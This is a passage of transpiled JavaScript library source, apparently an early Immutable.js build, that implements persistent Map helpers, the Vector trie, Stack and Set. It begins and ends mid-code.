var bitmap = 0;\n\t var packedII = 0;\n\t var packedNodes = new Array(count);\n\t for (var ii = 0,\n\t bit = 1,\n\t len = nodes.length; ii < len; ii++, bit <<= 1) {\n\t var node = nodes[ii];\n\t if (node != null && ii !== excluding) {\n\t bitmap |= bit;\n\t packedNodes[packedII++] = node;\n\t }\n\t }\n\t return new BitmapIndexedNode(ownerID, bitmap, packedNodes);\n\t}\n\tfunction expandNodes(ownerID, nodes, bitmap, including, node) {\n\t var count = 0;\n\t var expandedNodes = new Array(SIZE);\n\t for (var ii = 0; bitmap !== 0; ii++, bitmap >>>= 1) {\n\t expandedNodes[ii] = bitmap & 1 ? nodes[count++] : null;\n\t }\n\t expandedNodes[including] = node;\n\t return new ArrayNode(ownerID, count + 1, expandedNodes);\n\t}\n\tfunction mergeIntoMapWith(map, merger, iterables) {\n\t var seqs = [];\n\t for (var ii = 0; ii < iterables.length; ii++) {\n\t var seq = iterables[ii];\n\t if (!(seq instanceof Sequence)) {\n\t seq = Sequence(seq);\n\t if (seq instanceof IndexedSequence) {\n\t seq = seq.fromEntrySeq();\n\t }\n\t }\n\t seq && seqs.push(seq);\n\t }\n\t return mergeIntoCollectionWith(map, merger, seqs);\n\t}\n\tfunction deepMerger(merger) {\n\t return (function(existing, value) {\n\t return existing && existing.mergeDeepWith ? existing.mergeDeepWith(merger, value) : merger ? merger(existing, value) : value;\n\t });\n\t}\n\tfunction mergeIntoCollectionWith(collection, merger, seqs) {\n\t if (seqs.length === 0) {\n\t return collection;\n\t }\n\t return collection.withMutations((function(collection) {\n\t var mergeIntoMap = merger ? (function(value, key) {\n\t var existing = collection.get(key, NOT_SET);\n\t collection.set(key, existing === NOT_SET ? value : merger(existing, value));\n\t }) : (function(value, key) {\n\t collection.set(key, value);\n\t });\n\t for (var ii = 0; ii < seqs.length; ii++) {\n\t seqs[ii].forEach(mergeIntoMap);\n\t }\n\t }));\n\t}\n\tfunction updateInDeepMap(collection, keyPath, notSetValue, updater, pathOffset) {\n\t var pathLen = keyPath.length;\n\t if (pathOffset === pathLen) {\n\t return updater(collection);\n\t }\n\t invariant(collection.set, 'updateIn with invalid keyPath');\n\t var notSet = pathOffset === pathLen - 1 ? notSetValue : Map.empty();\n\t var key = keyPath[pathOffset];\n\t var existing = collection.get(key, notSet);\n\t var value = updateInDeepMap(existing, keyPath, notSetValue, updater, pathOffset + 1);\n\t return value === existing ? collection : collection.set(key, value);\n\t}\n\tfunction popCount(x) {\n\t x = x - ((x >> 1) & 0x55555555);\n\t x = (x & 0x33333333) + ((x >> 2) & 0x33333333);\n\t x = (x + (x >> 4)) & 0x0f0f0f0f;\n\t x = x + (x >> 8);\n\t x = x + (x >> 16);\n\t return x & 0x7f;\n\t}\n\tfunction setIn(array, idx, val, canEdit) {\n\t var newArray = canEdit ? array : arrCopy(array);\n\t newArray[idx] = val;\n\t return newArray;\n\t}\n\tfunction spliceIn(array, idx, val, canEdit) {\n\t var newLen = array.length + 1;\n\t if (canEdit && idx + 1 === newLen) {\n\t array[idx] = val;\n\t return array;\n\t }\n\t var newArray = new Array(newLen);\n\t var after = 0;\n\t for (var ii = 0; ii < newLen; ii++) {\n\t if (ii === idx) {\n\t newArray[ii] = val;\n\t after = -1;\n\t } else {\n\t newArray[ii] = array[ii + after];\n\t }\n\t }\n\t return newArray;\n\t}\n\tfunction spliceOut(array, idx, canEdit) {\n\t var newLen = array.length - 1;\n\t if (canEdit && idx === newLen) {\n\t array.pop();\n\t return array;\n\t }\n\t var newArray = new Array(newLen);\n\t var after = 0;\n\t for (var ii = 0; ii < newLen; ii++) {\n\t if (ii === idx) {\n\t after = 1;\n\t }\n\t newArray[ii] = array[ii + after];\n\t }\n\t return newArray;\n\t}\n\tvar MAX_BITMAP_SIZE = SIZE / 2;\n\tvar MIN_ARRAY_SIZE = SIZE / 4;\n\tvar EMPTY_MAP;\n\tvar Vector = function Vector() {\n\t for (var values = [],\n\t $__6 = 0; $__6 < arguments.length; $__6++)\n\t values[$__6] = arguments[$__6];\n\t return $Vector.from(values);\n\t};\n\tvar $Vector = Vector;\n\t($traceurRuntime.createClass)(Vector, {\n\t toString: function() {\n\t return this.__toString('Vector [', ']');\n\t },\n\t get: function(index, notSetValue) {\n\t index = wrapIndex(this, index);\n\t if (index < 0 || index >= this.length) {\n\t return notSetValue;\n\t }\n\t index += this._origin;\n\t var node = vectorNodeFor(this, index);\n\t return node && node.array[index & MASK];\n\t },\n\t set: function(index, value) {\n\t return updateVector(this, index, value);\n\t },\n\t remove: function(index) {\n\t return updateVector(this, index, NOT_SET);\n\t },\n\t clear: function() {\n\t if (this.length === 0) {\n\t return this;\n\t }\n\t if (this.__ownerID) {\n\t this.length = this._origin = this._size = 0;\n\t this._level = SHIFT;\n\t this._root = this._tail = null;\n\t this.__hash = undefined;\n\t this.__altered = true;\n\t return this;\n\t }\n\t return $Vector.empty();\n\t },\n\t push: function() {\n\t var values = arguments;\n\t var oldLength = this.length;\n\t return this.withMutations((function(vect) {\n\t setVectorBounds(vect, 0, oldLength + values.length);\n\t for (var ii = 0; ii < values.length; ii++) {\n\t vect.set(oldLength + ii, values[ii]);\n\t }\n\t }));\n\t },\n\t pop: function() {\n\t return setVectorBounds(this, 0, -1);\n\t },\n\t unshift: function() {\n\t var values = arguments;\n\t return this.withMutations((function(vect) {\n\t setVectorBounds(vect, -values.length);\n\t for (var ii = 0; ii < values.length; ii++) {\n\t vect.set(ii, values[ii]);\n\t }\n\t }));\n\t },\n\t shift: function() {\n\t return setVectorBounds(this, 1);\n\t },\n\t merge: function() {\n\t return mergeIntoVectorWith(this, null, arguments);\n\t },\n\t mergeWith: function(merger) {\n\t for (var seqs = [],\n\t $__7 = 1; $__7 < arguments.length; $__7++)\n\t seqs[$__7 - 1] = arguments[$__7];\n\t return mergeIntoVectorWith(this, merger, seqs);\n\t },\n\t mergeDeep: function() {\n\t return mergeIntoVectorWith(this, deepMerger(null), arguments);\n\t },\n\t mergeDeepWith: function(merger) {\n\t for (var seqs = [],\n\t $__8 = 1; $__8 < arguments.length; $__8++)\n\t seqs[$__8 - 1] = arguments[$__8];\n\t return mergeIntoVectorWith(this, deepMerger(merger), seqs);\n\t },\n\t setLength: function(length) {\n\t return setVectorBounds(this, 0, length);\n\t },\n\t slice: function(begin, end) {\n\t var sliceSequence = $traceurRuntime.superCall(this, $Vector.prototype, \"slice\", [begin, end]);\n\t if (sliceSequence !== this) {\n\t var vector = this;\n\t var length = vector.length;\n\t sliceSequence.toVector = (function() {\n\t return setVectorBounds(vector, begin < 0 ? Math.max(0, length + begin) : length ? Math.min(length, begin) : begin, end == null ? length : end < 0 ? Math.max(0, length + end) : length ? Math.min(length, end) : end);\n\t });\n\t }\n\t return sliceSequence;\n\t },\n\t __iterator: function(type, reverse) {\n\t return new VectorIterator(this, type, reverse);\n\t },\n\t __iterate: function(fn, reverse) {\n\t var $__0 = this;\n\t var iterations = 0;\n\t var eachFn = (function(v) {\n\t return fn(v, iterations++, $__0);\n\t });\n\t var tailOffset = getTailOffset(this._size);\n\t if (reverse) {\n\t iterateVNode(this._tail, 0, tailOffset - this._origin, this._size - this._origin, eachFn, reverse) && iterateVNode(this._root, this._level, -this._origin, tailOffset - this._origin, eachFn, reverse);\n\t } else {\n\t iterateVNode(this._root, this._level, -this._origin, tailOffset - this._origin, eachFn, reverse) && iterateVNode(this._tail, 0, tailOffset - this._origin, this._size - this._origin, eachFn, reverse);\n\t }\n\t return iterations;\n\t },\n\t __ensureOwner: function(ownerID) {\n\t if (ownerID === this.__ownerID) {\n\t return this;\n\t }\n\t if (!ownerID) {\n\t this.__ownerID = ownerID;\n\t return this;\n\t }\n\t return makeVector(this._origin, this._size, this._level, this._root, this._tail, ownerID, this.__hash);\n\t }\n\t}, {\n\t empty: function() {\n\t return EMPTY_VECT || (EMPTY_VECT = makeVector(0, 0, SHIFT));\n\t },\n\t from: function(sequence) {\n\t if (!sequence || sequence.length === 0) {\n\t return $Vector.empty();\n\t }\n\t if (sequence.constructor === $Vector) {\n\t return sequence;\n\t }\n\t var isArray = Array.isArray(sequence);\n\t if (sequence.length > 0 && sequence.length < SIZE) {\n\t return makeVector(0, sequence.length, SHIFT, null, new VNode(isArray ? arrCopy(sequence) : Sequence(sequence).toArray()));\n\t }\n\t if (!isArray) {\n\t sequence = Sequence(sequence).valueSeq();\n\t }\n\t return $Vector.empty().merge(sequence);\n\t }\n\t}, IndexedSequence);\n\tvar VectorPrototype = Vector.prototype;\n\tVectorPrototype[DELETE] = VectorPrototype.remove;\n\tVectorPrototype.update = MapPrototype.update;\n\tVectorPrototype.updateIn = MapPrototype.updateIn;\n\tVectorPrototype.cursor = MapPrototype.cursor;\n\tVectorPrototype.withMutations = MapPrototype.withMutations;\n\tVectorPrototype.asMutable = MapPrototype.asMutable;\n\tVectorPrototype.asImmutable = MapPrototype.asImmutable;\n\tVectorPrototype.wasAltered = MapPrototype.wasAltered;\n\tvar VNode = function VNode(array, ownerID) {\n\t this.array = array;\n\t this.ownerID = ownerID;\n\t};\n\tvar $VNode = VNode;\n\t($traceurRuntime.createClass)(VNode, {\n\t removeBefore: function(ownerID, level, index) {\n\t if (index === level ? 1 << level : 0 || this.array.length === 0) {\n\t return this;\n\t }\n\t var originIndex = (index >>> level) & MASK;\n\t if (originIndex >= this.array.length) {\n\t return new $VNode([], ownerID);\n\t }\n\t var removingFirst = originIndex === 0;\n\t var newChild;\n\t if (level > 0) {\n\t var oldChild = this.array[originIndex];\n\t newChild = oldChild && oldChild.removeBefore(ownerID, level - SHIFT, index);\n\t if (newChild === oldChild && removingFirst) {\n\t return this;\n\t }\n\t }\n\t if (removingFirst && !newChild) {\n\t return this;\n\t }\n\t var editable = editableVNode(this, ownerID);\n\t if (!removingFirst) {\n\t for (var ii = 0; ii < originIndex; ii++) {\n\t editable.array[ii] = undefined;\n\t }\n\t }\n\t if (newChild) {\n\t editable.array[originIndex] = newChild;\n\t }\n\t return editable;\n\t },\n\t removeAfter: function(ownerID, level, index) {\n\t if (index === level ? 1 << level : 0 || this.array.length === 0) {\n\t return this;\n\t }\n\t var sizeIndex = ((index - 1) >>> level) & MASK;\n\t if (sizeIndex >= this.array.length) {\n\t return this;\n\t }\n\t var removingLast = sizeIndex === this.array.length - 1;\n\t var newChild;\n\t if (level > 0) {\n\t var oldChild = this.array[sizeIndex];\n\t newChild = oldChild && oldChild.removeAfter(ownerID, level - SHIFT, index);\n\t if (newChild === oldChild && removingLast) {\n\t return this;\n\t }\n\t }\n\t if (removingLast && !newChild) {\n\t return this;\n\t }\n\t var editable = editableVNode(this, ownerID);\n\t if (!removingLast) {\n\t editable.array.pop();\n\t }\n\t if (newChild) {\n\t editable.array[sizeIndex] = newChild;\n\t }\n\t return editable;\n\t }\n\t}, {});\n\tfunction iterateVNode(node, level, offset, max, fn, reverse) {\n\t var ii;\n\t var array = node && node.array;\n\t if (level === 0) {\n\t var from = offset < 0 ? -offset : 0;\n\t var to = max - offset;\n\t if (to > SIZE) {\n\t to = SIZE;\n\t }\n\t for (ii = from; ii < to; ii++) {\n\t if (fn(array && array[reverse ? from + to - 1 - ii : ii]) === false) {\n\t return false;\n\t }\n\t }\n\t } else {\n\t var step = 1 << level;\n\t var newLevel = level - SHIFT;\n\t for (ii = 0; ii <= MASK; ii++) {\n\t var levelIndex = reverse ? MASK - ii : ii;\n\t var newOffset = offset + (levelIndex << level);\n\t if (newOffset < max && newOffset + step > 0) {\n\t var nextNode = array && array[levelIndex];\n\t if (!iterateVNode(nextNode, newLevel, newOffset, max, fn, reverse)) {\n\t return false;\n\t }\n\t }\n\t }\n\t }\n\t return true;\n\t}\n\tvar VectorIterator = function VectorIterator(vector, type, reverse) {\n\t this._type = type;\n\t this._reverse = !!reverse;\n\t this._maxIndex = vector.length - 1;\n\t var tailOffset = getTailOffset(vector._size);\n\t var rootStack = vectIteratorFrame(vector._root && vector._root.array, vector._level, -vector._origin, tailOffset - vector._origin - 1);\n\t var tailStack = vectIteratorFrame(vector._tail && vector._tail.array, 0, tailOffset - vector._origin, vector._size - vector._origin - 1);\n\t this._stack = reverse ? tailStack : rootStack;\n\t this._stack.__prev = reverse ? rootStack : tailStack;\n\t};\n\t($traceurRuntime.createClass)(VectorIterator, {next: function() {\n\t var stack = this._stack;\n\t while (stack) {\n\t var array = stack.array;\n\t var rawIndex = stack.index++;\n\t if (this._reverse) {\n\t rawIndex = MASK - rawIndex;\n\t if (rawIndex > stack.rawMax) {\n\t rawIndex = stack.rawMax;\n\t stack.index = SIZE - rawIndex;\n\t }\n\t }\n\t if (rawIndex >= 0 && rawIndex < SIZE && rawIndex <= stack.rawMax) {\n\t var value = array && array[rawIndex];\n\t if (stack.level === 0) {\n\t var type = this._type;\n\t var index;\n\t if (type !== 1) {\n\t index = stack.offset + (rawIndex << stack.level);\n\t if (this._reverse) {\n\t index = this._maxIndex - index;\n\t }\n\t }\n\t return iteratorValue(type, index, value);\n\t } else {\n\t this._stack = stack = vectIteratorFrame(value && value.array, stack.level - SHIFT, stack.offset + (rawIndex << stack.level), stack.max, stack);\n\t }\n\t continue;\n\t }\n\t stack = this._stack = this._stack.__prev;\n\t }\n\t return iteratorDone();\n\t }}, {}, Iterator);\n\tfunction vectIteratorFrame(array, level, offset, max, prevFrame) {\n\t return {\n\t array: array,\n\t level: level,\n\t offset: offset,\n\t max: max,\n\t rawMax: ((max - offset) >> level),\n\t index: 0,\n\t __prev: prevFrame\n\t };\n\t}\n\tfunction makeVector(origin, size, level, root, tail, ownerID, hash) {\n\t var vect = Object.create(VectorPrototype);\n\t vect.length = size - origin;\n\t vect._origin = origin;\n\t vect._size = size;\n\t vect._level = level;\n\t vect._root = root;\n\t vect._tail = tail;\n\t vect.__ownerID = ownerID;\n\t vect.__hash = hash;\n\t vect.__altered = false;\n\t return vect;\n\t}\n\tfunction updateVector(vector, index, value) {\n\t index = wrapIndex(vector, index);\n\t if (index >= vector.length || index < 0) {\n\t return value === NOT_SET ? vector : vector.withMutations((function(vect) {\n\t index < 0 ? setVectorBounds(vect, index).set(0, value) : setVectorBounds(vect, 0, index + 1).set(index, value);\n\t }));\n\t }\n\t index += vector._origin;\n\t var newTail = vector._tail;\n\t var newRoot = vector._root;\n\t var didAlter = MakeRef(DID_ALTER);\n\t if (index >= getTailOffset(vector._size)) {\n\t newTail = updateVNode(newTail, vector.__ownerID, 0, index, value, didAlter);\n\t } else {\n\t newRoot = updateVNode(newRoot, vector.__ownerID, vector._level, index, value, didAlter);\n\t }\n\t if (!didAlter.value) {\n\t return vector;\n\t }\n\t if (vector.__ownerID) {\n\t vector._root = newRoot;\n\t vector._tail = newTail;\n\t vector.__hash = undefined;\n\t vector.__altered = true;\n\t return vector;\n\t }\n\t return makeVector(vector._origin, vector._size, vector._level, newRoot, newTail);\n\t}\n\tfunction updateVNode(node, ownerID, level, index, value, didAlter) {\n\t var removed = value === NOT_SET;\n\t var newNode;\n\t var idx = (index >>> level) & MASK;\n\t var nodeHas = node && idx < node.array.length;\n\t if (removed && !nodeHas) {\n\t return node;\n\t }\n\t if (level > 0) {\n\t var lowerNode = node && node.array[idx];\n\t var newLowerNode = updateVNode(lowerNode, ownerID, level - SHIFT, index, value, didAlter);\n\t if (newLowerNode === lowerNode) {\n\t return node;\n\t }\n\t newNode = editableVNode(node, ownerID);\n\t newNode.array[idx] = newLowerNode;\n\t return newNode;\n\t }\n\t if (!removed && nodeHas && node.array[idx] === value) {\n\t return node;\n\t }\n\t SetRef(didAlter);\n\t newNode = editableVNode(node, ownerID);\n\t if (removed && idx === newNode.array.length - 1) {\n\t newNode.array.pop();\n\t } else {\n\t newNode.array[idx] = removed ? undefined : value;\n\t }\n\t return newNode;\n\t}\n\tfunction editableVNode(node, ownerID) {\n\t if (ownerID && node && ownerID === node.ownerID) {\n\t return node;\n\t }\n\t return new VNode(node ? node.array.slice() : [], ownerID);\n\t}\n\tfunction vectorNodeFor(vector, rawIndex) {\n\t if (rawIndex >= getTailOffset(vector._size)) {\n\t return vector._tail;\n\t }\n\t if (rawIndex < 1 << (vector._level + SHIFT)) {\n\t var node = vector._root;\n\t var level = vector._level;\n\t while (node && level > 0) {\n\t node = node.array[(rawIndex >>> level) & MASK];\n\t level -= SHIFT;\n\t }\n\t return node;\n\t }\n\t}\n\tfunction setVectorBounds(vector, begin, end) {\n\t var owner = vector.__ownerID || new OwnerID();\n\t var oldOrigin = vector._origin;\n\t var oldSize = vector._size;\n\t var newOrigin = oldOrigin + begin;\n\t var newSize = end == null ? oldSize : end < 0 ? oldSize + end : oldOrigin + end;\n\t if (newOrigin === oldOrigin && newSize === oldSize) {\n\t return vector;\n\t }\n\t if (newOrigin >= newSize) {\n\t return vector.clear();\n\t }\n\t var newLevel = vector._level;\n\t var newRoot = vector._root;\n\t var offsetShift = 0;\n\t while (newOrigin + offsetShift < 0) {\n\t newRoot = new VNode(newRoot && newRoot.array.length ? [null, newRoot] : [], owner);\n\t newLevel += SHIFT;\n\t offsetShift += 1 << newLevel;\n\t }\n\t if (offsetShift) {\n\t newOrigin += offsetShift;\n\t oldOrigin += offsetShift;\n\t newSize += offsetShift;\n\t oldSize += offsetShift;\n\t }\n\t var oldTailOffset = getTailOffset(oldSize);\n\t var newTailOffset = getTailOffset(newSize);\n\t while (newTailOffset >= 1 << (newLevel + SHIFT)) {\n\t newRoot = new VNode(newRoot && newRoot.array.length ? [newRoot] : [], owner);\n\t newLevel += SHIFT;\n\t }\n\t var oldTail = vector._tail;\n\t var newTail = newTailOffset < oldTailOffset ? vectorNodeFor(vector, newSize - 1) : newTailOffset > oldTailOffset ? new VNode([], owner) : oldTail;\n\t if (oldTail && newTailOffset > oldTailOffset && newOrigin < oldSize && oldTail.array.length) {\n\t newRoot = editableVNode(newRoot, owner);\n\t var node = newRoot;\n\t for (var level = newLevel; level > SHIFT; level -= SHIFT) {\n\t var idx = (oldTailOffset >>> level) & MASK;\n\t node = node.array[idx] = editableVNode(node.array[idx], owner);\n\t }\n\t node.array[(oldTailOffset >>> SHIFT) & MASK] = oldTail;\n\t }\n\t if (newSize < oldSize) {\n\t newTail = newTail && newTail.removeAfter(owner, 0, newSize);\n\t }\n\t if (newOrigin >= newTailOffset) {\n\t newOrigin -= newTailOffset;\n\t newSize -= newTailOffset;\n\t newLevel = SHIFT;\n\t newRoot = null;\n\t newTail = newTail && newTail.removeBefore(owner, 0, newOrigin);\n\t } else if (newOrigin > oldOrigin || newTailOffset < oldTailOffset) {\n\t var beginIndex,\n\t endIndex;\n\t offsetShift = 0;\n\t do {\n\t beginIndex = ((newOrigin) >>> newLevel) & MASK;\n\t endIndex = ((newTailOffset - 1) >>> newLevel) & MASK;\n\t if (beginIndex === endIndex) {\n\t if (beginIndex) {\n\t offsetShift += (1 << newLevel) * beginIndex;\n\t }\n\t newLevel -= SHIFT;\n\t newRoot = newRoot && newRoot.array[beginIndex];\n\t }\n\t } while (newRoot && beginIndex === endIndex);\n\t if (newRoot && newOrigin > oldOrigin) {\n\t newRoot = newRoot && newRoot.removeBefore(owner, newLevel, newOrigin - offsetShift);\n\t }\n\t if (newRoot && newTailOffset < oldTailOffset) {\n\t newRoot = newRoot && newRoot.removeAfter(owner, newLevel, newTailOffset - offsetShift);\n\t }\n\t if (offsetShift) {\n\t newOrigin -= offsetShift;\n\t newSize -= offsetShift;\n\t }\n\t }\n\t if (vector.__ownerID) {\n\t vector.length = newSize - newOrigin;\n\t vector._origin = newOrigin;\n\t vector._size = newSize;\n\t vector._level = newLevel;\n\t vector._root = newRoot;\n\t vector._tail = newTail;\n\t vector.__hash = undefined;\n\t vector.__altered = true;\n\t return vector;\n\t }\n\t return makeVector(newOrigin, newSize, newLevel, newRoot, newTail);\n\t}\n\tfunction mergeIntoVectorWith(vector, merger, iterables) {\n\t var seqs = [];\n\t for (var ii = 0; ii < iterables.length; ii++) {\n\t var seq = iterables[ii];\n\t seq && seqs.push(Sequence(seq));\n\t }\n\t var maxLength = Math.max.apply(null, seqs.map((function(s) {\n\t return s.length || 0;\n\t })));\n\t if (maxLength > vector.length) {\n\t vector = vector.setLength(maxLength);\n\t }\n\t return mergeIntoCollectionWith(vector, merger, seqs);\n\t}\n\tfunction getTailOffset(size) {\n\t return size < SIZE ? 0 : (((size - 1) >>> SHIFT) << SHIFT);\n\t}\n\tvar EMPTY_VECT;\n\tvar Stack = function Stack() {\n\t for (var values = [],\n\t $__9 = 0; $__9 < arguments.length; $__9++)\n\t values[$__9] = arguments[$__9];\n\t return $Stack.from(values);\n\t};\n\tvar $Stack = Stack;\n\t($traceurRuntime.createClass)(Stack, {\n\t toString: function() {\n\t return this.__toString('Stack [', ']');\n\t },\n\t get: function(index, notSetValue) {\n\t var head = this._head;\n\t while (head && index--) {\n\t head = head.next;\n\t }\n\t return head ? head.value : notSetValue;\n\t },\n\t peek: function() {\n\t return this._head && this._head.value;\n\t },\n\t push: function() {\n\t if (arguments.length === 0) {\n\t return this;\n\t }\n\t var newLength = this.length + arguments.length;\n\t var head = this._head;\n\t for (var ii = arguments.length - 1; ii >= 0; ii--) {\n\t head = {\n\t value: arguments[ii],\n\t next: head\n\t };\n\t }\n\t if (this.__ownerID) {\n\t this.length = newLength;\n\t this._head = head;\n\t this.__hash = undefined;\n\t this.__altered = true;\n\t return this;\n\t }\n\t return makeStack(newLength, head);\n\t },\n\t pushAll: function(seq) {\n\t seq = Sequence(seq);\n\t if (seq.length === 0) {\n\t return this;\n\t }\n\t var newLength = this.length;\n\t var head = this._head;\n\t seq.reverse().forEach((function(value) {\n\t newLength++;\n\t head = {\n\t value: value,\n\t next: head\n\t };\n\t }));\n\t if (this.__ownerID) {\n\t this.length = newLength;\n\t this._head = head;\n\t this.__hash = undefined;\n\t this.__altered = true;\n\t return this;\n\t }\n\t return makeStack(newLength, head);\n\t },\n\t pop: function() {\n\t return this.slice(1);\n\t },\n\t unshift: function() {\n\t return this.push.apply(this, arguments);\n\t },\n\t unshiftAll: function(seq) {\n\t return this.pushAll(seq);\n\t },\n\t shift: function() {\n\t return this.pop.apply(this, arguments);\n\t },\n\t clear: function() {\n\t if (this.length === 0) {\n\t return this;\n\t }\n\t if (this.__ownerID) {\n\t this.length = 0;\n\t this._head = undefined;\n\t this.__hash = undefined;\n\t this.__altered = true;\n\t return this;\n\t }\n\t return $Stack.empty();\n\t },\n\t slice: function(begin, end) {\n\t if (wholeSlice(begin, end, this.length)) {\n\t return this;\n\t }\n\t var resolvedBegin = resolveBegin(begin, this.length);\n\t var resolvedEnd = resolveEnd(end, this.length);\n\t if (resolvedEnd !== this.length) {\n\t return $traceurRuntime.superCall(this, $Stack.prototype, \"slice\", [begin, end]);\n\t }\n\t var newLength = this.length - resolvedBegin;\n\t var head = this._head;\n\t while (resolvedBegin--) {\n\t head = head.next;\n\t }\n\t if (this.__ownerID) {\n\t this.length = newLength;\n\t this._head = head;\n\t this.__hash = undefined;\n\t this.__altered = true;\n\t return this;\n\t }\n\t return makeStack(newLength, head);\n\t },\n\t __ensureOwner: function(ownerID) {\n\t if (ownerID === this.__ownerID) {\n\t return this;\n\t }\n\t if (!ownerID) {\n\t this.__ownerID = ownerID;\n\t this.__altered = false;\n\t return this;\n\t }\n\t return makeStack(this.length, this._head, ownerID, this.__hash);\n\t },\n\t __iterateUncached: function(fn, reverse) {\n\t if (reverse) {\n\t return this.cacheResult().__iterate(fn, reverse);\n\t }\n\t var iterations = 0;\n\t var node = this._head;\n\t while (node) {\n\t if (fn(node.value, iterations++, this) === false) {\n\t break;\n\t }\n\t node = node.next;\n\t }\n\t return iterations;\n\t },\n\t __iteratorUncached: function(type, reverse) {\n\t if (reverse) {\n\t return this.cacheResult().__iterator(type, reverse);\n\t }\n\t var iterations = 0;\n\t var node = this._head;\n\t return new Iterator((function() {\n\t if (node) {\n\t var value = node.value;\n\t node = node.next;\n\t return iteratorValue(type, iterations++, value);\n\t }\n\t return iteratorDone();\n\t }));\n\t }\n\t}, {\n\t empty: function() {\n\t return EMPTY_STACK || (EMPTY_STACK = makeStack(0));\n\t },\n\t from: function(sequence) {\n\t var stack = $Stack.empty();\n\t return sequence ? sequence.constructor === $Stack ? sequence : stack.unshiftAll(sequence) : stack;\n\t }\n\t}, IndexedSequence);\n\tvar StackPrototype = Stack.prototype;\n\tStackPrototype.withMutations = MapPrototype.withMutations;\n\tStackPrototype.asMutable = MapPrototype.asMutable;\n\tStackPrototype.asImmutable = MapPrototype.asImmutable;\n\tStackPrototype.wasAltered = MapPrototype.wasAltered;\n\tfunction makeStack(length, head, ownerID, hash) {\n\t var map = Object.create(StackPrototype);\n\t map.length = length;\n\t map._head = head;\n\t map.__ownerID = ownerID;\n\t map.__hash = hash;\n\t map.__altered = false;\n\t return map;\n\t}\n\tvar EMPTY_STACK;\n\tvar Set = function Set() {\n\t for (var values = [],\n\t $__10 = 0; $__10 < arguments.length; $__10++)\n\t values[$__10] = arguments[$__10];\n\t return $Set.from(values);\n\t};\n\tvar $Set = Set;\n\t($traceurRuntime.createClass)(Set, {\n\t toString: function() {\n\t return this.__toString('Set {', '}');\n\t },\n\t get: function(value, notSetValue) {\n\t return this._map.has(value) ? value : notSetValue;\n\t },\n\t contains: function(value) {\n\t return this._map.has(value);\n\t },\n\t add: function(value) {\n\t var newMap = this._map.set(value, null);\n\t if (this.__ownerID) {\n\t this.length = newMap.length;\n\t this._map = newMap;\n\t return this;\n\t }\n\t return newMap === this._map ? this : makeSet(newMap);\n\t },\n\t remove: function(value) {\n\t var newMap = this._map.remove(value);\n\t if (this.__ownerID) {\n\t this.length = newMap.length;\n\t this._map = newMap;\n\t return this;\n\t }\n\t return newMap === this._map ? this : newMap.length === 0 ? $Set.empty() : makeSet(newMap);\n\t },\n\t clear: function() {\n\t if (this.length === 0) {\n\t return this;\n\t }\n\t if (this.__ownerID) {\n\t this.length = 0;\n\t this._map.clear();\n\t return this;\n\t }\n\t return $Set.empty();\n\t },\n\t union: function() {\n\t var seqs = arguments;\n\t if (seqs.length === 0) {\n\t return this;\n\t }\n\t return this.withMutations((function(set) {\n\t for (var ii = 0; ii < seqs.length; ii++) {\n\t Sequence(seqs[ii]).forEach((function(value) {\n\t return set.add(value);\n\t }));\n\t }\n\t }));\n\t },\n\t intersect: function() {\n\t for (var seqs = [],\n\t $__11 = 0; $__11 < arguments.length; $__11++)\n\t seqs[$__11] = arguments[$__11];\n\t if (seqs.length === 0) {\n\t return this;\n\t }\n\t seqs = seqs.map((function(seq) {\n\t return Sequence(seq);\n\t }));\n\t var originalSet = this;\n\t return this.withMutations((function(set) {\n\t originalSet.forEach((function(value) {\n\t if (!seqs.every((function(seq) {\n\t return seq.contains(value);\n\t }))) {\n\t set.remove(value);\n\t }\n\t }));\n\t }));\n\t },\n\t subtract: function() {\n\t for (var seqs = [],\n\t $__12 = 0; $__12 < arguments.length; $__12++)\n\t seqs[$__12] = arguments[$__12];\n\t if (seqs.length === 0) {\n\t return this;\n\t }\n\t seqs = seqs.map((function(seq) {\n\t return Sequence(seq);\n\t }));\n\t var originalSet = this;\n\t return this.withMutations((function(set) {\n\t originalSet.forEach((function(value) {\n\t if (seqs.some((function(seq) {\n\t return seq.contains(value);\n\t }))) {\n\t set.remove(value);\n\t }\n\t }));\n\t }));\n\t },\n\t isSubset: function(seq) {\n\t seq = Sequence(seq);\n\t return this.every((function(value) {\n\t return seq.contains(value);\n\t }));\n\t },\n\t isSuperset: function(seq) {\n\t var set = this;\n\t seq = Sequence(seq);\n\t return seq.every((function(value) {\n\t return set.contains(value);\n\t }));\n\t },\n\t merge: function() {\n\t return this.union.apply(this, arguments);\n\t },\n\t mergeWith: function(merger) {\n\t for (var seqs = [],\n\t $__13 = 1; $__13 < arguments.length; $__13++)\n\t seqs[$__13 - 1] = arguments[$__13];\n\t return this.union.apply(this, seqs);\n\t },\n\t wasAltered: function() {\n\t return this._map.wasAltered();\n\t },\n\t __iterate: function(fn, reverse) {\n\t var $__0 = this;\n\t return this._map.__iterate((function(_, k) {\n\t return fn(k, k, $__0);\n\t }), reverse);\n\t },\n\t __iterator: function(type, reverse) {\n\t return this._map.map((function(_, k) {\n\t return k;\n\t })).__iterator(type, reverse);\n\t },\n\t __ensureOwner: function(ownerID) {\n\t if (ownerID === this.__ownerID) {\n\t return this;\n\t }\n\t var newMap = this._map.__ensureOwner(ownerID);\n\t if (!ownerID) {\n\t this.__ownerID = ownerID;\n\t this._map = newMap;\n\t return this;\n\t }\n\t return makeSet(newMap, ownerID);\n\t }\n\t}, {\n\t empty: function() {\n\t return EMPTY_SET || (EMPTY_SET = makeSet(Map.empty()));\n\t },\n\t from: function(sequence) {\n\t var set = $Set.empty();\n\t return sequence ? sequence.constructor === $Set ? sequence : set.union(sequence) : set;\n\t },\n\t fromKeys: function(sequence) {\n\t return $Set.from(Sequence(sequence).flip());\n\t }\n\t}, Sequence);\n\tvar SetPrototype = Set.prototype;\n\tSetPrototype[DELETE] = SetPrototype.remove;\n\tSetPrototype[ITERATOR_SYMBOL] = SetPrototype.values;\n\tSetPrototype.mergeDeep = SetPrototype.merge;\n\tSetPrototype.mergeDeepWith = SetPrototype.mergeWith;\n\tSetPrototype.withMutations = MapPrototype.withMutations;\n\tSetPrototype.asMutable = MapPrototype.asMutable;\n\tSetPrototype.asImmutable = MapPrototype.asImmutable;\n\tSetPrototype.__toJS = IndexedSequencePrototype.__toJS;\n\tSetPrototype.__toStringMapper = IndexedSequencePrototype.__toStringMapper;\n\tfunction makeSet(map, ownerID) {\n\t var set = Object.create(SetPrototype);\n\t set.length = map ? map.length : 0;\n\t set._map = map;\n\t set.__ownerID = ownerID;\n\t return set;\n\t}\n\tvar EMPTY_SET;\n\tvar OrderedMap = function OrderedMap(sequence) {\n\t var 